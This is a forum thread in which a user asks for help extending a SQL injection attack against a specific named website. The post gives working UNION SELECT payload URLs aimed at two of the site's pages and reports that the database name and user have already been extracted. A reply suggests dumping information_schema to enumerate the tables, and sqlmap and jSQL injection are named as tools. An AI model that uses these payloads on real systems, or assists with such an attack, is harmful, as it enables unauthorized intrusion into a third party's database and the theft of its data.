SQLi help
by - Thursday, January 1, 1970 at 12:00 AM
http://www.mallage.com/saga/news_list.php?cid=-2%20union%20select%201,2,3,4,5,6,7,8,9,10--%20-

I can run database() and user() but cannot show tables
How can I show tables?

Tried and failed.
https://gist.github.com/zetc0de/5f2d4cc341494b27dc09813505fa0698
sqlmap

Thank you in advance.
Reply
http://www.mallage.com/saga/shop_detail.php?id=-228%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13--%20-
bump
Failed to get tables even with jSQL injection
Reply
Can find lots of database info in information_schema table. Try dump that for table names.
Reply


 Users viewing this thread: SQLi help: No users currently viewing.